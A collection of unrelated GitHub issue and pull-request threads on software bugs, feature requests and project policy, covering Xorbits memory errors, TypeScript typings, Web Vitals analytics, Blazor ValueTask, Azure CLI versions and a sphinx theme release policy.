I think this old issue can be closed as there is an official Mailjet Transport for Symfony Mailer from Symfony: https://github.com/symfony/mailjet-mailer + https://symfony.com/doc/current/mailer.html#using-a-3rd-party-transport


BUG:  service stopped when pivot a<PHONE_NUMBER>x5 matrix into 4000 columns on a 160U-4096GBmem machine

Describe the bug
Running pivot and service stopped:

To Reproduce
To help us to reproduce this bug, please provide information below:

Your Python version           3.11.4
The version of Xorbits you use        0.5.1
Versions of crucial packages, such as numpy(1.25.2), scipy(1.11.2) and pandas(2.0.3)
Full stack of the error.

……
……
……
/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/dataframe/base/pivot.py:72: PerformanceWarning: DataFrame is highly fragmented.  This is usually the result of calling `frame.insert` many times, which has poor performance.  Consider joining all columns at once using pd.concat(axis=1) instead. To get a de-fragmented frame, use `newframe = frame.copy()`
  input_data[dtype] = np.nan
/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/dataframe/base/pivot.py:72: PerformanceWarning: DataFrame is highly fragmented.  This is usually the result of calling `frame.insert` many times, which has poor performance.  Consider joining all columns at once using pd.concat(axis=1) instead. To get a de-fragmented frame, use `newframe = frame.copy()`
  input_data[dtype] = np.nan
/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/dataframe/base/pivot.py:72: PerformanceWarning: DataFrame is highly fragmented.  This is usually the result of calling `frame.insert` many times, which has poor performance.  Consider joining all columns at once using pd.concat(axis=1) instead. To get a de-fragmented frame, use `newframe = frame.copy()`
  input_data[dtype] = np.nan
2023-10-13 19:20:03,359 xorbits._mars.services.scheduling.worker.execution 337003 ERROR    Failed to run subtask n6Qo8tTl8A6Pn7uCwJHxGAEK on band numa-0
Traceback (most recent call last):
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/scheduling/worker/execution.py", line 445, in _run_subtask_once
    return await asyncio.shield(aiotask)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/subtask/api.py", line 70, in run_subtask_in_slot
    return await ref.run_subtask.options(profiling_context=profiling_context).send(
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xoscar/backends/context.py", line 226, in send
    result = await self._wait(future, actor_ref.address, send_message)  # type: ignore
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xoscar/backends/context.py", line 115, in _wait
    return await future
           ^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xoscar/backends/core.py", line 84, in _listen
    raise ServerClosed(
xoscar.errors.ServerClosed: Remote server unixsocket:///361854215913472 closed

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/scheduling/worker/execution.py", line 402, in internal_run_subtask
    subtask_info.result = await self._retry_run_subtask(
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/scheduling/worker/execution.py", line 513, in _retry_run_subtask
    return await _retry_run(subtask, subtask_info, _run_subtask_once)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/scheduling/worker/execution.py", line 95, in _retry_run
    raise ex
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/scheduling/worker/execution.py", line 73, in _retry_run
    return await target_async_func(*args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/scheduling/worker/execution.py", line 491, in _run_subtask_once
    raise ex
xoscar.errors.ServerClosed: unexpectedly terminated process (Remote server unixsocket:///361854215913472 closed) with address <IP_ADDRESS>:39737, which is highly suspected to be caused by an Out-of-Memory (OOM) problem
2023-10-13 19:20:03,454 xorbits._mars.services.task.execution.mars.stage 337003 ERROR    Subtask n6Qo8tTl8A6Pn7uCwJHxGAEK errored
Traceback (most recent call last):
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/scheduling/worker/execution.py", line 445, in _run_subtask_once
    return await asyncio.shield(aiotask)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xorbits/_mars/services/subtask/api.py", line 70, in run_subtask_in_slot
    return await ref.run_subtask.options(profiling_context=profiling_context).send(
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xoscar/backends/context.py", line 226, in send
    result = await self._wait(future, actor_ref.address, send_message)  # type: ignore
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xoscar/backends/context.py", line 115, in _wait
    return await future
           ^^^^^^^^^^^^
  File "/cluster/home/bqhu_jh/share/miniconda3/envs/bigdata/lib/python3.11/site-packages/xoscar/backends/core.py", line 84, in _listen
    raise ServerClosed(
xoscar.errors.ServerClosed: Remote server unixsocket:///361854215913472 closed
……
……
……

Minimized code to reproduce the error.

df = xpd.read_parquet("./merged.pq")
print(df.shape)   #<PHONE_NUMBER>, 5)
df_pvt = df.pivot(index=[0,1,2], columns=[4], values=[3])
df_pvt

Expected behavior
A clear and concise description of what you expected to happen.
I think there were some bug for large scale data and the server closed.
Additional context
Add any other context about the problem here. No.

Using rechunk(chunk_size=10_000) can adjust partrition policy like spark repartrition.


Forward typings (TS)

Fixed wrong forward typings behavior, when forwarding FROM "less strict" type TO "more strict" type throws no errors.

Also added tests for providing both generics (as you asked me in our community).

@abliarsar proposed an idea how to make forward inference even better :)
  it('should forward from `Unit<*>` to `Unit<void>`', () => {
    const from = createEvent<string>()
    const to = createEvent<void>()

    forward({from, to}) // <-- NOW FIXED
...

Remark:
const str = createEvent<string>()
const strOrNum = createEvent<string | number>()

// TS v3.5.3 (current version in effector repo)
//
// Produces an error:
//
// Type 'Event<string | number>' is not assignable to type 'Unit<string>'.
//     ...
forward({
  from: strOrNum,
  to: str
})

// TS v3.6.3 (current stable TS version)
//
// Produces an error:
//
// No overload matches this call.
//     ...
forward({
  from: strOrNum,
  to: str
})

Great! 👍


How can i get web vital report with each page?

I added web vital npm at our page to get Web Vitals report.
and this is what i added to my code (send to google analytics to analyze with web vital report)
function sendToGoogleAnalytics({ name, delta, id }: { name: any; delta: any; id: any }) {
  // Assumes the global `ga()` function exists, see:
  // https://developers.google.com/analytics/devguides/collection/analyticsjs

  ReactGA.ga('send', 'event', {
    eventCategory: 'Web Vitals',
    eventAction: name,
    // The `id` value will be unique to the current page load. When sending
    // multiple values from the same page (e.g. for CLS), Google Analytics can
    // compute a total by grouping on this ID (note: requires `eventLabel` to
    // be a dimension in your report).
    eventLabel: id,
    // Google Analytics metrics must be integers, so the value is rounded.
    // For CLS the value is first multiplied by 1000 for greater precision
    // (note: increase the multiplier for greater precision if needed).
    eventValue: Math.round(name === 'CLS' ? delta * 1000 : delta),
    // Use a non-interaction event to avoid affecting bounce rate.
    nonInteraction: true,
    // Use `sendBeacon()` if the browser supports it.
    transport: 'beacon'

    // OPTIONAL: any additional params or debug info here.
    // See: https://web.dev/debug-web-vitals-in-the-field/
    // dimension1: '...',
    // dimension2: '...',
    // ...
  })
}

But as you can see in below i can't get web vital report with each pages with only total web vital score . So. how can i get web vitals with each page?

The Web Vitals Report app requires at least 8 unique Web Vitals events for each dimension/segment combination in order to show a score. See the code here: https://github.com/GoogleChromeLabs/web-vitals-report/blob/02ee9b7bb96f0f27e14addf8684215eb84e80f80/src/js/charts.js#L316-L321
Based on your screenshot, it seems like you get sufficient traffic on Mobile in South Korea, but not that much traffic on Desktop. Also, it looks like your individual pages don't get much traffic (i.e. not at least 8 unique Web Vitals events).
One suggestion would be to remove the query string from your URLs you're measuring. That would help reduce the unique of unique pages. Try this code:
const pagePath = location.pathname;

function sendToGoogleAnalytics({ name, delta, id }: { name: any; delta: any; id: any }) {
  // Assumes the global `ga()` function exists, see:
  // https://developers.google.com/analytics/devguides/collection/analyticsjs

  ReactGA.ga('send', 'event', {
    page: pagePath,
    eventCategory: 'Web Vitals',
    eventAction: name,
    // The `id` value will be unique to the current page load. When sending
    // multiple values from the same page (e.g. for CLS), Google Analytics can
    // compute a total by grouping on this ID (note: requires `eventLabel` to
    // be a dimension in your report).
    eventLabel: id,
    // Google Analytics metrics must be integers, so the value is rounded.
    // For CLS the value is first multiplied by 1000 for greater precision
    // (note: increase the multiplier for greater precision if needed).
    eventValue: Math.round(name === 'CLS' ? delta * 1000 : delta),
    // Use a non-interaction event to avoid affecting bounce rate.
    nonInteraction: true,
    // Use `sendBeacon()` if the browser supports it.
    transport: 'beacon'

    // OPTIONAL: any additional params or debug info here.
    // See: https://web.dev/debug-web-vitals-in-the-field/
    // dimension1: '...',
    // dimension2: '...',
    // ...
  })
}

Thanks for reply! The traffic of each page were problem 🙏


add timeout

Warnings

:warning:
Please include a description of your PR changes.

  Generated by :no_entry_sign: dangerJS against 119d00da5f503dc4b34564d66b134e3e4ae53d26


680 implement lct model

Changes and Information
Please briefly list the changes made, additional Information and what the Reviewer should look out for:

added additional model based on the Linear Chain Trick.

Merge Request - Guideline Checklist
Please check our git workflow. Use the draft feature if the Pull Request is not yet ready to review.
Checks by code author

[x] Every addressed issue is linked (use the "Closes #ISSUE" keyword below)
[x] New code adheres to coding guidelines
[ ] No large data files have been added (files should in sum not exceed 100 KB, avoid PDFs, Word docs, etc.)
[x] Tests are added for new functionality and a local test run was successful
[x] Appropriate documentation for new functionality has been added (Doxygen in the code and Markdown files if necessary)
[x] Proper attention to licenses, especially no new third-party software with conflicting license has been added

Checks by code reviewer(s)

[ ] Corresponding issue(s) is/are linked and addressed
[ ] Code is clean of development artifacts (no deactivated or commented code lines, no debugging printouts, etc.)
[ ] Appropriate unit tests have been added, CI passes and code coverage is acceptable (did not decrease)
[ ] No large data files added in the whole history of commits(files should in sum not exceed 100 KB, avoid PDFs, Word docs, etc.)

Closes #680

Attention when merging: The file boost_1_75_0.tar.gz is modified in this branch.

@dabele I would like to merge this for the functionality first (except for small adaptations that go in the right direction maybe) and then create a new issue to adapt/generalize the new model to our compartmental or flow model base classes. I think this needs then also adaptations of the ODE models. Maybe you could have a look and write down what your redesign suggestions are?

This PR is divided into several smaller issues to make it easier to review. Have a look at

#892 (main model)
#893
#897
#898
#899
#918


Feature Request

Reduce the Size Of the Tab Section To Give a Larger Area Of Title Bar For Drag and Drop of the Window
Most windows apps allow you to click the title bar and drag the window around the desktop to place it where you want. The Terminal window has very large tabs which instinctively I go to grab and drag the window around, but all that does is select that tab. The actual area of the title bar you can grab on the right of the title bar is pretty small, so is awkward to use.
Looking at Chrome or Firefox their tabs are much smaller and provide a bigger area of the title bar to be selected. They also provide a small section above the tab to be selected. Clicking on a tab allows it to be pulled out of the window into it's own window. This is the kind of functionality I'm used to.
Proposed technical implementation details (optional)
Reduce the size of the tab section to show a larger area of the title bar which will make it easier to select the window and drag it around the desktop. The tab section should obviously grow and shrink with the number of tabs that are open - much like most web browsers

There is issue for that: #564 , described in mega thread #1375 too. And looks like this issue is solved and will be published in Terminal v0.3 :)

Ah brilliant. I did search before I posted too. (-:
I'll close this then


Update README.md

I think what's promising about this library is people can use this library to create a plot that people can easily export to share or further customize (or even blend with other plots).

That's a good point... I mention that a bit in the documentation... we could probably add more about sharing/customization options.
Or even add a section to the README about the vision of Vega/Vega-Lite with regards to sharing visualizations (mention wikimedia, etc.)

I added some verbiage about this to the README; let me know what you think: https://github.com/jakevdp/pdvega#why-vega-lite

I love it!

<3 it too :)


⚠ DDoS-Relay US-W-hil-2 has degraded performance

In 0db79fe, DDoS-Relay US-W-hil-2 (http://<IP_ADDRESS>:42069/;csv) experienced degraded performance:

HTTP code: 200
Response time: 31 ms

Resolved: DDoS-Relay US-W-hil-2 performance has improved in 4f7a15e after 13 minutes.


Task or valuetask

I have a hard time understanding when to use valuetask in stead of task. Most often in regular desktop app development I use task but I can see that many places when invoking javascript the interop method returns valuetask. Is that better for javascript or is there some other reason???

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: aada0049-99a8-2f91-5d60-6970474e2371
Version Independent ID: c29fb1a8-028f-6efd-f1bc-e889fb362311
Content: Call JavaScript functions from .NET methods in ASP.NET Core Blazor
Content Source: aspnetcore/blazor/call-javascript-from-dotnet.md
Product: aspnet-core
Technology: aspnetcore-blazor
GitHub Login: @guardrex
Microsoft Alias: riande

Hello @erikthysell ... 🏃 Performance 🏃 should be the answer. There was a time when all of our JS interop examples used Task, and we switched over to ValueTask for these because the calls would be just a tiny bit faster. I don't recall the details ... the changes were made a while ago. It was something that engineering started doing, and I picked up on it and changed the sample app, followed by a couple of readers suggesting that we further make the topic in-text examples embrace it. Engineering agreed, so we updated the return types to what you see today.
For more info generally on the choice, see the remarks in the linked API doc for the benefits and conditions ...
https://docs.microsoft.com/dotnet/api/system.threading.tasks.valuetask-1
... and see the discussion with remarks by Stephen Cleary and Stephen Toub on an SO answer.
If would be interesting if you benchmarked some JS interop calls both ways and actually found out that ValueTask was 🐌 slower 🐌 in certain scenarios. If you make such a discovery, I recommend that you let us know.
I don't have any further info. If you want to dig deeper into the subject, see if you can find a deep dive blog post, additional SO posts, and/or chat with language experts on one of the usual support channels ...

Stack Overflow
ASP.NET Core Slack
ASP.NET Gitter

You probably also could Tweet Stephen Cleary if you have a question. He's a cool :cat2: and helpful to talk to about things like this.


s/web/composetest_web/ in the run section

When following this example I get this error:
$ docker run web env
Unable to find image 'web:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io on <IP_ADDRESS>:53: no such host.
See 'docker run --help'.

However if you change web to composetest_web I get the expected output
$ docker run composetest_web env
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
....

Proposed changes

Unreleased project version (optional)

Related issues (optional)

I think you're using docker run, but the example tells you to run docker-compose run, and that's what is causing your problem.
docker-compose run <service-in-compose.yml> ` allows to start a single service from your docker-compose.yml definition, and run a single command on it.
But if you use docker run <image> <command>, you're creating and running a container from an existing image, which is not what the example on that page is trying to do.
@benmatselby due to this I'm closing this PR, but feel free to comment. I'll love to have your feedback.

@joaofnfernandes Yep, apologies for wasting your time. Thanks for replying

No worries! I'm sure you'll have tons of opportunities to help improve our docs!


Needs a newer version of az than listed in doc

--functions-version parameter appears to have been removed. This is with AZ CLI 2.0.81
PS> az functionapp create --resource-group edyoungtest --consumption-plan-location westeurope --runtime powershell --functions-version 2 --name edyoungfunctest --storage-account edyoungfuncstorage
az: error: unrecognized arguments: --functions-version 2
usage: az [-h] [--verbose] [--debug]
[--output {json,jsonc,table,tsv,yaml,none}] [--query JMESPATH]
{functionapp} ...

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 40b416d5-6ea5-39a5-9a2c-ab188d00a686
Version Independent ID: 855c85f7-53b3-59a2-3f42-fbccbba07d32
Content: Create a function in Azure that responds to HTTP requests
Content Source: articles/azure-functions/functions-create-first-azure-function-azure-cli.md
Service: azure-functions
GitHub Login: @ggailey777
Microsoft Alias: glenga

Looks like I wasn't quite correct. Installing a newer version of az cli (2.5.1) resolved the issue. But note that the doc states minimum version as 2.0.76. That version doesn't work and doc needs an update to indicate whatever the real minimum version is.

Hi @edyoung Thanks for your feedback. We will review and update as appropriate.

Thanks @edyoung for reporting this! I've made the fix.


"You may be eligible" tag shows up before adding any information

"You may be eligible" tag shows up on the start here program or any other program when opening it and before adding any information
Slack Message
Discovered by Danielle.
Is this intentional?

@melanie-exygy @ssandbekkhaug This is a bug that is in North Star and live as well.
I believe this bug was created when we replaced the "you may be eligibile" tag with the toast. A feature gwen was working on I believe.

The "You may be eligible" alert should only show after an eligibility question has been shown.
It should only display once on the page after the eligibility question has been shown rather than on every page after.

@isabelcshaw Let me know if you have any thoughts on the behavior.

Sijia also mentioned this bug is probably live (not just north star)

Confirming this is a bug in live and north star. Charlotte also flagged this today as something they noticed as being confusing.

@sijiayam @isabelcshaw, would it be safe to say that we never want to show this alert if the program is a pre-screener?  Sijia, when you say the "alert should only show after an eligibility question has been shown", do you mean "after an eligibility question has been answered (and saved)"?

@melanie-exygy I don't know if my insights are helpful here, but in Charlotte we really don't want that message to ever show on our pre-screener. The goal of our pre-screener is to guide someone to a program that they may be eligible for when they come on not knowing what to apply for. I think showing that message is confusing in a pre-screener because it inadvertently sends the message to a resident that the pre-screener itself is a program application that they can get assistance from.

@melanie-exygy I don't know if my insights are helpful here, but in Charlotte we really don't want that message to ever show on our pre-screener. The goal of our pre-screener is to guide someone to a program that they may be eligible for when they come on not knowing what to apply for. I think showing that message is confusing in a pre-screener because it inadvertently sends the message to a resident that the pre-screener itself is a program application that they can get assistance from.

Thanks, @megan0422, that is really helpful to know!  That's my understanding of the pre-screener as well.

Thanks so much for jumping in on this all! Agreed that this is a bug and that we should never show this alert in the pre-screener bc a resident is not actually triggering any eligibility criteria for that form. And aligned with the behaviors Sijia shared above.
One case to clarify is how this works if it's the second application and we know that they are eligible before they even start because we are reusing their data. I'd still like us to maintain the behavior Sijia shared: "It should only display once on the page after the eligibility question has been shown rather than on every page after" if possible for consistency. But if this represents added complexity for some reason, I'm ok to compromise here for now.


Add sync with toggl date range

@sofiaromorales
The current logic handles an start date (since) and an end date (until), then toggl uses a pagination I think it was 50 entries per page.

So I think this issue could be closed.

@sofiaromorales The current logic handles an start date (since) and an end date (until), then toggl uses a pagination I think it was 50 entries per page.
So I think this issue could be closed.

@mecoccaro I think the idea is that we allow a date range to be specified in the GraphQL API so we can expand on the functionality the frontend can do... which is not the case currently (https://github.com/setlife-network/trinary/blob/d84315600eb191e4cdadfcab971ab5cc76ddc611/api/schema/types/ProjectType.js#L138))
You are looking at the call to the API handler but that is not the same as it being usable for the purposes of syncing time entries with different date ranges


WebApp chooses model from list

The parent issue #45
User stories https://miro.com/app/board/uXjVPwQdIjc=/
Acceptance test

WebApp reads a csv file which holds available models.
WebApp shows a list of models.
User chooses one of them
Visualize the model structure (e.g. https://github.com/lutzroeder/Netron)

Hey, where are we supposed to get the CSV file from, and what kind of data it has type and content-wise? Thanks

For the time being, you could just locally generate a CSV file stored (git).

for visualisation there's a keras/tensorflow oneliner https://pyimagesearch.com/2021/05/22/visualizing-network-architectures-using-keras-and-tensorflow/

LGTM

FYI: https://discord.com/channels/1062449235729068212/1062449236177854526/1076434355842457630

@doyu So do you think its good that we have a models.csv file for example :
Model Name, Model file
Object Detection,/path....
Face detection,/path...
Vibration detection,/path...
anomally detection, / path...
Where Model Name tells us the name of the model and Model File is the path where the model is located in our repository? Is this the point for the csv file?

Yes,
name could be more unique name for famous NN models (e.g. Yolov6) and
path may be URL on S3 which @nellatuulikki is working on.


chore: upgrade packages

Current dependencies on/for this PR:

main

PR #159   👈

This stack of pull requests is managed by Graphite.

Merge activity

Apr 19, 4:22 PM GMT+2: @pevisscher started a stack merge that includes this pull request via Graphite.


Divide native library header

Currently native library has a single header with all of the classes put together. This is because Scapix currently requires structs to be defined in the same header where they are used in a ported class and all of the library's classes use the same structs.
This is not a good thing as the header might grow too large with time, so it would be great to figure something out. Or just wait for Scapix to get rid of this requirement.

Solved in #30


Nonce: Use RFC-6979 for deterministic nonce derivation

See RFC-6979 and the RustCrypto implementation.

Due to RFC-6979 being quite expensive to perform onchain I implemented a different approach: deriving the nonce from the signing secret key, the signer's public key, the signed message, and an optional salt.
The salt ensures multiple tries for the nonce generation which may be important if bounding operations cannot be performed due to modulo bias security issues.


Short news section

First off, great theme, thanks for all the hard work building the theme and a community around it. This is not a request, but a modification I put here like a "wiki" input.
I wanted to have a News section with the last 3-4 news shown on the homepage and the rest in a separate page with a link from the main page "see all news". I could have used the posts module but I wanted to have links in the news directly to some new articles etc. While the posts were kind of an overkill for me.
newsfiles.zip
recent_news.md --> goes in content/home
news.md and newslist.dat --> goes in content/
readfromfile.html --> goes in themes/academic/layouts/shortcodes
It looks like this.

Hey @apetros I wanted to add a news section to my personal website, should I just paste the files you've created to the locations specified in your issue?

This is amazing! Exactly what I wanted! Your instruction is also clear and super easy to follow. Thank you very much for sharing! :)

This is a nice feature! Thanks for that!
To avoid conflicts with the Academic theme, I think it is probably best to add the shortcode to a new directory layouts/shortcodes instead of themes/academic/layouts/shortcodes, as suggested in the hugo documentation.


Remove local_world_size and node_rank requirement from file name formatting

🚀 Feature Request
It would be more flexible to not have the local_world_size and node_rank requirement in file name formatting when running composer trainers.
Motivation
When using other plug-ins, PyTorch does not necessarily set those variables and it is difficult/unnecessary to set those variables. Moreover, the default file format string does not even use those, so having to set those environmental variables seems like an extra hassle.

To provide some context, we are trying to integrate Mosaic with Ray AIR (Ray AI runtime). Each Ray training worker currently does not have the knowledge of local_world_size and node_rank. We wonder if those arguments can be dropped.

Hi @xwjiang2010 and @ilee300a , thanks for the interest! We'll check internally to see whether these can be removed as a requirement.
We typically use these to determine local node groups that share a filesystem (e.g. for streaming data) and fast NVLINK interconnects (e.g. for syncing batch norm within a local group).
I'm less familiar with Ray, for distributed ML training, is there a concept of groups of nodes that share filesystems? If not, and each work is its "own" node, you could just set LOCAL_WORLD_SIZE=1 and NODE_RANK=RANK.

@hanlint
Thanks for the response!
Ray AIR (Ray AI runtime) is using Ray primitives (remote actors/tasks) to do distributed ML. In Ray cluster, there is a concept of distributed dataset, that is accessible to all the training workers through Ray object store. This is preferable when data is bigger than what can be accommodated by single node.
Ray AIR uses PlacementGroup to denote placement strategy for training workers (there are SPREAD, PACKED, STRICT_SPREAD, STRICT_PACKED etc). By default, the flavor is PACKED. If the node has multiple GPUs and NVLINK available, then that is leveraged for syncing. However, Ray AIR currently doesn't have a notion of distinguishing a sub group of workers on one GPU (LOCAL_WORLD).
It seems that Mosaic uses LOCAL_WORLD, NODE_RANK information beyond just logging (which is my impression cc @ilee300a ). Is that some Composer algorithms also leverage this information for fast syncing?
The general idea of integrating Ray AIR with Mosaic is to see if we could open up another dimension (cluster dimension) in addition to algorithmic enhancement. Could we get connected with the team if possible to look at some possibilities? Irene may also have some more detailed questions.

Hi @xwjiang2010 thanks for the detailed explanation. I think a quick chat would be helpful here so we can enable Composer on Ray AIR. Could you send me an email at<EMAIL_ADDRESS>


Error on message.

Hey,I installed the requirements without an error and then I ran it using the command.After running the bot it connects to discord and after loading gives:
Ignoring exception in on_ready
Traceback (most recent call last):
File "/home/kaoirah/.local/lib/python3.6/site-packages/discord/client.py", line 307, in _run_event
yield from getattr(self, event)(*args, **kwargs)
File "/home/kaoirah/reactor-bot-master/reactor_bot/init.py", line 28, in on_ready
await bot.change_presence(activity=discord.Game(name='poll:help'))
TypeError: change_presence() got an unexpected keyword argument 'activity'
after i tried to send a message this results in an error
Traceback (most recent call last):
File "/home/kaoirah/.local/lib/python3.6/site-packages/discord/client.py", line 307, in _run_event
yield from getattr(self, event)(*args, **kwargs)
File "/home/kaoirah/reactor-bot-master/reactor_bot/init.py", line 41, in on_message
context = await bot.get_context(message)
File "/home/kaoirah/.local/lib/python3.6/site-packages/discord/client.py", line 296, in getattr
raise AttributeError(msg.format(self.class, name))
AttributeError: '<class 'discord.ext.commands.bot.Bot'>' object has no attribute 'get_context'
Thanks

Great, it was just colliding with the old discord .py.Thanks
A venv solved the issue

Feel free to DM me, @lambda#0987 if you have other issues. I wanna know if you get it to work!


optimize allocations during label filtering

This showed up in some pprof profiling of our application. We do not have any blocked/allowed labels configured, however the library was still creating a duplicate of the Label slice on each call. This caused unnecessary allocations.
This PR cleans up some unnecessary allocations in the following edge cases:

An empty (non nil) label slice is passed in.
Neither blocked or allowed lists are configured.
No labels are allowed.

Didn't see any contributing guides. Let me know if anything needs to change to get this merged!

Thank you for your submission! We require that all contributors sign our Contributor License Agreement ("CLA") before we can accept the contribution. Read and sign the agreement
Learn more about why HashiCorp requires a CLA and what the CLA includes
Have you signed the CLA already but the status is still pending? Recheck it.


chore: add the triage label

Closes: #3091

Changes
Firstly, it's need to create the label.

Hi @mvares
Using a triage label is good for us. I've created it. Can you check the comment?

Hi @yusukebe,
Will we maintain both the labels?

@mvares
Yes. I imagine:

A user creates an issue with choosing 🐛 Bug Report
A triage label is added to the issue.
We - maintainers check whether it is an actual bug.
If it's a bug, we added a bug label.

I don't have any idea for the case if it's triaged, but it's not a bug.

Ah, but my idea's bad point is the maintainers (almost I) should check all issues.

@mvares
Yes. I imagine:

A user creates an issue with choosing 🐛 Bug Report
A triage label is added to the issue.
We - maintainers check whether it is an actual bug.
If it's a bug, we added a bug label.

I don't have any idea for the case if it's triaged, but it's not a bug.

What I think:
An issue only should be assign with triage if to pass by triage process.
This makes sense for you? 🚀

@mvares
Sorry, I can't fully understand.

An issue only should be assign with triage if to pass by triage process.

An issue created by 🐛 Bug Report will be labeled as nothing? Or bug?

An issue created by 🐛 Bug Report will be labeled with the triage label. After that, some maintainer will analyze the possible bug. If there is a bug, the issue will receive the bug label.

@mvares
Thanks for the explanation. Understood. So the line should be the following?:
labels: [triage]

@mvares
Thanks for the explanation. Understood. So the line should be the following?:
labels: [triage]

Exactly!

@mvares
Okay, I'm not 100% sure we can operate with this style, but let's try it now. Thanks!


Define a release policy

Background
In #529 we had some mismatch in our expectations around when to release. We should set a repository policy when it comes to releases, so that we have shared understanding and expectations around when to do this.
Proposal
I propose we follow practices like this:

In general, we should encourage releases as often as possible
In general, releases should be as automated and automated as possible
In general, we should only prevent a release if releasing would significantly harm the project. If we block a release, we deprive our users of all other improvements that have been made, and so should only do this if the cost of releasing outweighs the benefits of new improvements.
Significant bugs or regressions must be in a GitHub issue, and with a block-release tag added

If there are no issues with a block-release label, then we allow and encourage any maintainer to make a release at any time.
Rationale
Minimizing the "delta" between releases, and automating it as much as possible, is a generally good modern software development practice. It ships improvements more quickly and ensures our users benefit from new development. It also minimizes the "toil" associated with creating a new release, which is generally not a super fun process of maintenance. Given that we have reasonable testing infrastructure, we can be confident that major problems are not introduced in general.
Using an issue label for block-release will allow us to be explicit about when an issue is so important that we should block a release on it. If we don't make this explicit then it may create frustration and confusion between maintainers who have differing ideas of when an issue should prevent a release.
Feedback?
I suspect that @jorisvandenbossche has different ideas for some of the above stuff - so would love to know what he thinks about it. Perhaps we can iterate and agree on a policy, and then encode this in our developer guidelines.

Given that we have reasonable testing infrastructure, we can be confident that major problems are not introduced in general.

I respectfully disagree. I've personally encountered multiple frustrations with regard to the setup of the dev environment  (#438, #467, #523); even after having gotten it all working initially and making a couple of contributions, things broke down when I tried to re-set-up a new dev environment on the same machine.  This to me suggests that the installation / contribution workflow is not tested thoroughly enough, and it's causing pain to would-be contributors (I think not just me; cf. https://github.com/pydata/pydata-sphinx-theme/issues/521#issuecomment-1000791012)
Don't get me wrong: there has been progress here; I like the move to nox / away from webpack.  But after half-a-dozen PRs over the last year I still feel very hesitant to "open a quick PR" to fix or improve something in this theme because I'm not confident that it will actually be "quick" or that I'll be able to do things like update dependency versions in my dev environment and have things still work.

@drammock - I meant that it would be unlikely somebody would introduce a change that breaks something really important without also being noticed by somebody first. I agree with you that the contribution process itself is still way too complicated.
I'm not sure what you're suggesting as it pertains to release policy. Are you saying that we should be more conservative and raise more barriers to making releases?

I meant that it would be unlikely somebody would introduce a change that breaks something really important without also being noticed by somebody first

being able to install a dev environment for the theme on Windows is really important: without that, no windows users can easily contribute to this theme (nor can they easily contribute to the documentation of MNE-Python, or other packages that use the theme).  Installation of the dev environment on Windows was broken when the switch to sphinx-theme-builder was merged in, without being noticed by somebody first.  (The first "person" to notice was the MNE-Python CI job that makes sure our docs can be built on Windows --- and that was discovered only because we were proactively testing out pydata-sphinx-theme's current main to see if recent changes worked well for our docs).  What I'm saying is that perhaps the theme should have CI jobs that would have caught this before #514 was merged, and until such checks are in place, I disagree with the part of your rationale for frequent releases that I quoted before.  If you had released today, it would have broken MNE-Python CIs on main and we would have had to pin to an earlier version of the theme until #523 gets sorted out.  Pinning versions is not such a huge deal in the grand scheme of things, but it costs non-zero downstream developer time and CI time, potentially in many other theme users besides just MNE-Python.  A CI job on this repo that caught the windows install problem would prevent that.

To perhaps make my point more succinctly:

Minimizing the "delta" between releases, and automating it as much as possible, is a generally good modern software development practice.

I agree, but would add "... as long as you also have robust automated testing."  What I'm arguing above that the testing is not yet sufficiently robust to warrant a strategy of "release early, release often".

